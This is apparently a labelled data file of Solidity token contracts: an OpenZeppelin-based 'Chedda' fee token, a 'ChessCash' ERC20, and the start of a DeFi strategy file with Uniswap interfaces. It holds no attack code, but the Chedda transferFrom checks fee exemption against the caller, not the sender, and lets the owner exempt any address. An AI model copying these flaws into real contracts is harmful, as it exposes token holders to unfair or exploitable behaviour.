function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: contracts/CheddaV2.sol
pragma solidity ^0.8.5;
// OpenZeppelin Contracts v4.3.2 (token/ERC20/ERC20.sol)
contract Ownable is Context
{
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor ()
{
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address)
{
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner()
{
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner
{
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner
{
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256)
{
return _lockTime;
}
}
//Chedda V2
contract CheddaToken is ERC20, Ownable
{
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
address MarketWallet1 = 0x9625088c654d26B9132feB52D37107AB898d19C6;
address MarketWallet2 = 0xA0bd9f30daD7ea2a5daa5F93806966649950712D;
address MarketWallet3 = 0xc17b1D72F07AE3f63c5484A8f0862763b581C6d9;
address MarketWallet4 = 0x216E3DD4B71F2CAc69ae760809930d1B6574B2fF;
address MarketWallet5 = 0xBD2d730CCaf5B4587c05A39b55Acff3D855ed336;
address DevWallet1 = 0x625A181906e85e131eACE493F052b1166F1A443C;
address DevWallet2 = 0x1D3E1ce1B7d9ae6e918357Ebc1aFD151b5ca5bA4;
address DevWallet3 = 0x00F4DF21bc1A50bc06208F6A00D5D8F2bBc93Ae4;
address DevWallet4 = 0x61Ff7eE1D9a7B8b7B68127c36475423cB08A2976;
constructor() ERC20('Chedda Token', 'CHEDDA')
{
// Exclude dev wallet from fees for testing
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[MarketWallet1] = true;
_isExcludedFromFee[MarketWallet2] = true;
_isExcludedFromFee[MarketWallet3] = true;
_isExcludedFromFee[MarketWallet4] = true;
_isExcludedFromFee[MarketWallet5] = true;
_isExcludedFromFee[DevWallet1] = true;
_isExcludedFromFee[DevWallet2] = true;
_isExcludedFromFee[DevWallet3] = true;
_isExcludedFromFee[DevWallet4] = true;
_mint(msg.sender, 100000000000 * 10 ** 18);
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool)
{
uint256 singleFee = (amount / 100); //Calculate 1% fee
uint256 totalFee = singleFee * 3; //Calculate total fee (3%)
uint256 marketFee = singleFee * 2; //Calculate Dev Fee
uint256 newAmmount = amount - totalFee; //Calc new amount
if(isExcludedFromFee(_msgSender()))
{
_transfer(_msgSender(), recipient, amount);
}
else
{
_transfer(_msgSender(), MarketWallet1, marketFee);
_burn(_msgSender(), singleFee);
_transfer(_msgSender(), recipient, newAmmount);
}
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool)
{
uint256 singleFee = (amount / 100); //Calculate 1% fee
uint256 totalFee = singleFee * 3; //Calculate total fee (3%)
uint256 marketFee = singleFee * 2; //Calculate Dev Fee
uint256 newAmmount = amount - totalFee; //Calc new amount
uint256 currentAllowance = allowance(sender,_msgSender());
if (currentAllowance != type(uint256).max)
{
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked
{
_approve(sender, _msgSender(), currentAllowance - amount);
}
}
if(isExcludedFromFee(_msgSender()))
{
_transfer(sender, recipient, amount);
}
else
{
_transfer(sender, MarketWallet1, marketFee);
_burn(sender, singleFee);
_transfer(sender, recipient, newAmmount);
}
return true;
}
function isExcluded(address account) public view returns (bool)
{
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner()
{
_isExcludedFromFee[account] = excluded;
}
function isExcludedFromFee(address account) public view returns(bool)
{
return _isExcludedFromFee[account];
}
} | True | [
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pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ChessCash' token contract
//
// Deployed to : 0x04Ede35B1D51c0e814833887b2DdBB5D553070b6
// Symbol : CHESSCASH
// Name : ChessCoin Cash
// Total supply: 64000000000000000000000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ChessCash is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ChessCash() public {
symbol = "ChessCash";
name = "ChessCoin Cash";
decimals = 18;
_totalSupply = 64000000000000000000000000;
balances[0x04Ede35B1D51c0e814833887b2DdBB5D553070b6] = _totalSupply; //MEW address here
Transfer(address(0), 0x04Ede35B1D51c0e814833887b2DdBB5D553070b6, _totalSupply);//MEW address here
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-20
*/
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Global Enums and Structs
struct StrategyParams {
uint256 performanceFee;
uint256 activation;
uint256 debtRatio;
uint256 minDebtPerHarvest;
uint256 maxDebtPerHarvest;
uint256 lastReport;
uint256 totalDebt;
uint256 totalGain;
uint256 totalLoss;
}
// Part: IERC3156FlashBorrower
interface IERC3156FlashBorrower {
/**
* @dev Receive a flash loan.
* @param initiator The initiator of the loan.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @param fee The additional amount of tokens to repay.
* @param data Arbitrary data structure, intended to contain user-defined parameters.
* @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan"
*/
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32);
}
// Part: IUniswapAnchoredView
interface IUniswapAnchoredView {
function price(string memory) external returns (uint256);
}
// Part: IUniswapV2Router01
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}
// Part: IUniswapV3SwapCallback
/// @title Callback for IUniswapV3PoolActions#swap
/// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface
interface IUniswapV3SwapCallback {
/// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.
/// @dev In the implementation you must pay the pool tokens owed for the swap.
/// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.
/// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.
/// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token0 to the pool.
/// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token1 to the pool.
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata data
) external;
}
// Part: InterestRateModel
interface InterestRateModel {
/**
* @notice Calculates the current borrow interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @return The borrow rate per block (as a percentage, and scaled by 1e18)
*/
function getBorrowRate(
uint256 cash,
uint256 borrows,
uint256 reserves
) external view returns (uint256, uint256);
/**
* @notice Calculates the current supply interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @param reserveFactorMantissa The current reserve factor the market has
* @return The supply rate per block (as a percentage, and scaled by 1e18)
*/
function getSupplyRate(
uint256 cash,
uint256 borrows,
uint256 reserves,
uint256 reserveFactorMantissa
) external view returns (uint256);
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/[email protected]/Math
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// Part: OpenZeppelin/[email protected]/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
